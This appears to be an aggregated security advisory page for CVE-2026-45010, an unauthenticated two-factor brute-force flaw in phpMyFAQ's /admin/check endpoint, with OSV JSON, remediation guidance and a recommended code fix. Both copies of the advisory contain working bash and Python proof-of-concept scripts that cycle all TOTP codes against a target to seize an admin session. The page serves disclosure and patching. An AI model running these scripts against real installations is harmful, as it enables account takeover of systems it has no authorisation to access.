CVE-2026-45010: Thorsten/phpmyfaq Remote Code Execution Vulnerability

CRITICAL
Advisory Identifier: GHSA-9pq7-mfwh-xx2j
CVSS 9.1
CWE-307
Published
Advisory Summary

CVE-2026-45010 is a CRITICAL (CVSS 9.1) remote code execution vulnerability (CWE-307: Improper Restriction of Excessive Authentication Attempts) affecting Thorsten/phpmyfaq libraries in the Packagist ecosystem. The issue involves phpmyfaq enables unauthenticated 2fa brute-force attack via /admin/check acceptance of arbitrary user-id. Remediation is available by upgrading affected packages to version 4.1.2.

CVE-2026-45010 at a Glance

CVE Identifier CVE-2026-45010
GHSA Identifier GHSA-9pq7-mfwh-xx2j
Severity CRITICAL
CVSS v3.1 Base Score 9.1
CWE Classification CWE-307: Improper Restriction of Excessive Authentication Attempts
Affected Product Thorsten/phpmyfaq
Package Ecosystem Packagist
Published Date
Last Updated

Security Impact

CVSS: 9.1

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability None (A:N)

How to Fix CVE-2026-45010

To remediate this vulnerability, upgrade all affected Thorsten/phpmyfaq dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

thorsten/phpmyfaq fixed: 4.1.2
Upgrade thorsten/phpmyfaq to 4.1.2
phpmyfaq/phpmyfaq fixed: 4.1.2
Upgrade phpmyfaq/phpmyfaq to 4.1.2
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for thorsten/phpmyfaq

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-45010, inspect your project dependencies for Thorsten/phpmyfaq:

inspect dependencies for thorsten/phpmyfaq

Analyze the terminal output to locate any version of Thorsten/phpmyfaq in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 4.1.2), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-307: Improper Restriction of Excessive Authentication Attempts, where the product does not implement sufficient measures to prevent multiple failed authentication attempts within a short time frame. In Thorsten/phpmyfaq, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary The `/admin/check` endpoint in `AuthenticationController` implements `SkipsAuthenticationCheck`, making it reachable without any prior authentication. An anonymous attacker (Bob) can POST arbitrary `user-id` and `token` values to brute-force any user's 6-digit TOTP code. No rate limiting exists. The 10^6 keyspace is exhaustible in minutes. Reachability confirmed against a default install: unauthenticated `POST /admin/check` with a `user-id` body field returns HTTP 302 to `/admin/token?user-id=<value>`, echoing the attacker-supplied user id without any binding to a prior password-phase authentication. ## Details **File**: `phpmyfaq/src/phpMyFAQ/Controller/Administration/AuthenticationController.php`, lines 35-36 and 201-228. The controller class declaration: ```php final class AuthenticationController extends AbstractAdministrationController implements SkipsAuthenticationCheck ``` The `SkipsAuthenticationCheck` interface (`phpmyfaq/src/phpMyFAQ/Controller/Administration/SkipsAuthenticationCheck.php`) is a marker interface that tells the `ControllerContainerListener` to skip authentication enforcement. Every route in this controller is reachable without a session. The `check` action (line 201-228): ```php #[Route(path: '/check', name: 'admin.auth.check', methods: ['POST'])] public function check(Request $request): RedirectResponse { if ($this->currentUser->isLoggedIn()) { return new RedirectResponse(url: './'); } $token = Filter::filterVar($request->request->get(key: 'token'), FILTER_SANITIZE_SPECIAL_CHARS); $userId = (int) Filter::filterVar($request->request->get(key: 'user-id'), FILTER_VALIDATE_INT); $user = $this->currentUserService; $user->getUserById($userId); if (strlen((string) $token) === 6) { $tfa = $this->twoFactor; $result = $tfa->validateToken($token, $userId); if ($result) { $user->twoFactorSuccess(); $this->adminLog->log($user, AdminLogType::AUTH_2FA_SUCCESS->value . ':' . $user->getLogin()); return new RedirectResponse(url: './'); } $this->adminLog->log($user, AdminLogType::AUTH_2FA_FAILED->value . ':' . $user->getLogin()); } return new RedirectResponse('./token?user-id=' . $userId); } ``` Problems: 1. **No session binding**: The endpoint accepts `user-id` from the POST body. It does not verify that the caller previously authenticated with a password for that user. 2. **No rate limit or lockout**: Failed attempts redirect back to the token form with no counter, delay, or account lock. 3. **Unauthenticated access**: The `SkipsAuthenticationCheck` marker exempts the entire controller from auth enforcement. The normal login flow (`/admin/authenticate`) redirects to `/admin/token?user-id=X` after a valid password. But nothing prevents Bob from skipping the password step and hitting `/admin/check` directly. ## Proof of Concept ```bash # Step 1: Identify target user ID (admin is typically user_id=1) TARGET_HOST="http://target.example" USER_ID=1 # Step 2: Brute-force the 6-digit TOTP code # TOTP codes rotate every 30 seconds, giving a window of ~1M attempts per window. # At 200 req/s this takes under 2 hours worst case; with 2 valid windows it halves. for code in $(seq -w 000000 999999); do RESPONSE=$(curl -s -o /dev/null -w "%{http_code}:%{redirect_url}" \ -X POST "${TARGET_HOST}/admin/check" \ -d "token=${code}&user-id=${USER_ID}") # A successful 2FA grants a session and redirects to ./ # A failure redirects to ./token?user-id=1 if echo "$RESPONSE" | grep -qv "token?user-id="; then echo "[+] Valid TOTP: ${code}" break fi done ``` ```python # Faster parallel version import requests from concurrent.futures import ThreadPoolExecutor TARGET = "http://target.example/admin/check" USER_ID = 1 def try_code(code): r = requests.post(TARGET, data={"token": f"{code:06d}", "user-id": USER_ID}, allow_redirects=False) location = r.headers.get("Location", "") if "token?user-id=" not in location: return code return None with ThreadPoolExecutor(max_workers=50) as pool: for result in pool.map(try_code, range(1000000)): if result is not None: print(f"[+] Valid TOTP: {result:06d}") break ``` ## Impact Bob bypasses two-factor authentication for any user account (including administrators) without knowing the user's password. After a successful brute-force, `twoFactorSuccess()` grants a fully authenticated admin session. Bob gains full administrative control: user management, FAQ content modification, configuration changes, and access to backup/export functions containing all data. **CVSS 3.1**: `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N` (High, 9.1) **CWE**: CWE-307 (Improper Restriction of Excessive Authentication Attempts) ## Recommended Fix 1. **Bind the 2FA step to a password-verified session**: Store a flag in the server-side session during `authenticate()` indicating the user passed password auth. The `check` action must verify this flag before accepting TOTP attempts. 2. **Add rate limiting / lockout**: After 5 failed TOTP attempts, lock the account or enforce an exponential backoff. 3. **Narrow the SkipsAuthenticationCheck scope**: Move the `/check` and `/token` routes into a separate controller that requires the password-verified session flag rather than blanket-skipping auth. Example session-binding fix in `check()`: ```php #[Route(path: '/check', name: 'admin.auth.check', methods: ['POST'])] public function check(Request $request): RedirectResponse { $userId = (int) Filter::filterVar($request->request->get(key: 'user-id'), FILTER_VALIDATE_INT); // Require that the session proves password auth for this specific user if ($this->session->get('2fa_pending_user_id') !== $userId) { return new RedirectResponse(url: './login'); } // ... existing TOTP validation ... } ``` And in `authenticate()`, after successful password check: ```php $this->session->set('2fa_pending_user_id', $this->currentUser->getUserId()); ``` --- *Found by [aisafe.io](https://aisafe.io)*

CVE-2026-45010 Affected Thorsten/phpmyfaq Versions

2 component(s)
Fixed Versions:
4.1.2
Product / Package Ecosystem Affected Versions Fixed Version
thorsten/phpmyfaq
Packagist
< 4.1.2
4.1.2
phpmyfaq/phpmyfaq
Packagist
< 4.1.2
4.1.2

References

Frequently Asked Questions

What is CVE-2026-45010?
CVE-2026-45010 is a security vulnerability in Thorsten/phpmyfaq involving phpMyFAQ enables unauthenticated 2FA brute-force attack via /admin/check acceptance of arbitrary user-id under CWE-307: Improper Restriction of Excessive Authentication Attempts.
Which Thorsten/phpmyfaq versions are affected?
Affected versions include releases prior to 4.1.2 across affected packages: thorsten/phpmyfaq, phpmyfaq/phpmyfaq.
What version fixes CVE-2026-45010?
Upgrading to 4.1.2 (or the latest patched release for your respective branch) resolves the vulnerability.
Is thorsten/phpmyfaq affected?
Yes, thorsten/phpmyfaq is affected in releases prior to 4.1.2. Upgrade your dependency to 4.1.2 or later.
Is phpmyfaq/phpmyfaq affected?
Yes, phpmyfaq/phpmyfaq is affected in releases prior to 4.1.2. Upgrade your dependency to 4.1.2 or later.
What is the CVSS score of CVE-2026-45010?
CVE-2026-45010 has a CVSS v3.1 base score of 9.1 (CRITICAL) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N.
What CWE is associated with CVE-2026-45010?
CVE-2026-45010 is classified under CWE-307: Improper Restriction of Excessive Authentication Attempts (The product does not implement sufficient measures to prevent multiple failed authentication attempts within a short time frame.).
How can I check Packagist dependencies for CVE-2026-45010?
Run the dependency tree command: 'inspect dependencies for thorsten/phpmyfaq'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-9pq7-mfwh-xx2j",
  "modified" : "2026-06-09T00:00:16Z",
  "published" : "2026-05-06T20:42:54Z",
  "aliases" : [ "CVE-2026-45010" ],
  "summary" : "phpMyFAQ enables unauthenticated 2FA brute-force attack via /admin/check acceptance of arbitrary user-id",
  "details" : "## Summary\n\nThe `/admin/check` endpoint in `AuthenticationController` implements `SkipsAuthenticationCheck`, making it reachable without any prior authentication. An anonymous attacker (Bob) can POST arbitrary `user-id` and `token` values to brute-force any user's 6-digit TOTP code. No rate limiting exists. The 10^6 keyspace is exhaustible in minutes. Reachability confirmed against a default install: unauthenticated `POST /admin/check` with a `user-id` body field returns HTTP 302 to `/admin/token?user-id=<value>`, echoing the attacker-supplied user id without any binding to a prior password-phase authentication.\n\n## Details\n\n**File**: `phpmyfaq/src/phpMyFAQ/Controller/Administration/AuthenticationController.php`, lines 35-36 and 201-228.\n\nThe controller class declaration:\n\n```php\nfinal class AuthenticationController extends AbstractAdministrationController implements SkipsAuthenticationCheck\n```\n\nThe `SkipsAuthenticationCheck` interface (`phpmyfaq/src/phpMyFAQ/Controller/Administration/SkipsAuthenticationCheck.php`) is a marker interface that tells the `ControllerContainerListener` to skip authentication enforcement. Every route in this controller is reachable without a session.\n\nThe `check` action (line 201-228):\n\n```php\n#[Route(path: '/check', name: 'admin.auth.check', methods: ['POST'])]\npublic function check(Request $request): RedirectResponse\n{\n    if ($this->currentUser->isLoggedIn()) {\n        return new RedirectResponse(url: './');\n    }\n\n    $token = Filter::filterVar($request->request->get(key: 'token'), FILTER_SANITIZE_SPECIAL_CHARS);\n    $userId = (int) Filter::filterVar($request->request->get(key: 'user-id'), FILTER_VALIDATE_INT);\n\n    $user = $this->currentUserService;\n    $user->getUserById($userId);\n\n    if (strlen((string) $token) === 6) {\n        $tfa = $this->twoFactor;\n        $result = $tfa->validateToken($token, $userId);\n\n        if ($result) {\n            $user->twoFactorSuccess();\n            $this->adminLog->log($user, AdminLogType::AUTH_2FA_SUCCESS->value . ':' . $user->getLogin());\n            return new RedirectResponse(url: './');\n        }\n\n        $this->adminLog->log($user, AdminLogType::AUTH_2FA_FAILED->value . ':' . $user->getLogin());\n    }\n\n    return new RedirectResponse('./token?user-id=' . $userId);\n}\n```\n\nProblems:\n\n1. **No session binding**: The endpoint accepts `user-id` from the POST body. It does not verify that the caller previously authenticated with a password for that user.\n2. **No rate limit or lockout**: Failed attempts redirect back to the token form with no counter, delay, or account lock.\n3. **Unauthenticated access**: The `SkipsAuthenticationCheck` marker exempts the entire controller from auth enforcement.\n\nThe normal login flow (`/admin/authenticate`) redirects to `/admin/token?user-id=X` after a valid password. But nothing prevents Bob from skipping the password step and hitting `/admin/check` directly.\n\n## Proof of Concept\n\n```bash\n# Step 1: Identify target user ID (admin is typically user_id=1)\nTARGET_HOST=\"http://target.example\"\nUSER_ID=1\n\n# Step 2: Brute-force the 6-digit TOTP code\n# TOTP codes rotate every 30 seconds, giving a window of ~1M attempts per window.\n# At 200 req/s this takes under 2 hours worst case; with 2 valid windows it halves.\n\nfor code in $(seq -w 000000 999999); do\n  RESPONSE=$(curl -s -o /dev/null -w \"%{http_code}:%{redirect_url}\" \\\n    -X POST \"${TARGET_HOST}/admin/check\" \\\n    -d \"token=${code}&user-id=${USER_ID}\")\n\n  # A successful 2FA grants a session and redirects to ./\n  # A failure redirects to ./token?user-id=1\n  if echo \"$RESPONSE\" | grep -qv \"token?user-id=\"; then\n    echo \"[+] Valid TOTP: ${code}\"\n    break\n  fi\ndone\n```\n\n```python\n# Faster parallel version\nimport requests\nfrom concurrent.futures import ThreadPoolExecutor\n\nTARGET = \"http://target.example/admin/check\"\nUSER_ID = 1\n\ndef try_code(code):\n    r = requests.post(TARGET, data={\"token\": f\"{code:06d}\", \"user-id\": USER_ID}, allow_redirects=False)\n    location = r.headers.get(\"Location\", \"\")\n    if \"token?user-id=\" not in location:\n        return code\n    return None\n\nwith ThreadPoolExecutor(max_workers=50) as pool:\n    for result in pool.map(try_code, range(1000000)):\n        if result is not None:\n            print(f\"[+] Valid TOTP: {result:06d}\")\n            break\n```\n\n## Impact\n\nBob bypasses two-factor authentication for any user account (including administrators) without knowing the user's password. After a successful brute-force, `twoFactorSuccess()` grants a fully authenticated admin session. Bob gains full administrative control: user management, FAQ content modification, configuration changes, and access to backup/export functions containing all data.\n\n**CVSS 3.1**: `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N` (High, 9.1)\n**CWE**: CWE-307 (Improper Restriction of Excessive Authentication Attempts)\n\n## Recommended Fix\n\n1. **Bind the 2FA step to a password-verified session**: Store a flag in the server-side session during `authenticate()` indicating the user passed password auth. The `check` action must verify this flag before accepting TOTP attempts.\n\n2. **Add rate limiting / lockout**: After 5 failed TOTP attempts, lock the account or enforce an exponential backoff.\n\n3. **Narrow the SkipsAuthenticationCheck scope**: Move the `/check` and `/token` routes into a separate controller that requires the password-verified session flag rather than blanket-skipping auth.\n\nExample session-binding fix in `check()`:\n\n```php\n#[Route(path: '/check', name: 'admin.auth.check', methods: ['POST'])]\npublic function check(Request $request): RedirectResponse\n{\n    $userId = (int) Filter::filterVar($request->request->get(key: 'user-id'), FILTER_VALIDATE_INT);\n\n    // Require that the session proves password auth for this specific user\n    if ($this->session->get('2fa_pending_user_id') !== $userId) {\n        return new RedirectResponse(url: './login');\n    }\n\n    // ... existing TOTP validation ...\n}\n```\n\nAnd in `authenticate()`, after successful password check:\n\n```php\n$this->session->set('2fa_pending_user_id', $this->currentUser->getUserId());\n```\n\n---\n*Found by [aisafe.io](https://aisafe.io)*",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "thorsten/phpmyfaq"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "4.1.2"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 4.1.1"
    }
  }, {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "phpmyfaq/phpmyfaq"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "4.1.2"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 4.1.1"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-9pq7-mfwh-xx2j"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-45010"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/thorsten/phpMyFAQ"
  }, {
    "type" : "WEB",
    "url" : "https://www.vulncheck.com/advisories/phpmyfaq-unauthenticated-two-factor-authentication-brute-force-via-admin-check-endpoint"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-307" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-06T20:42:54Z",
    "nvd_published_at" : null
  }
}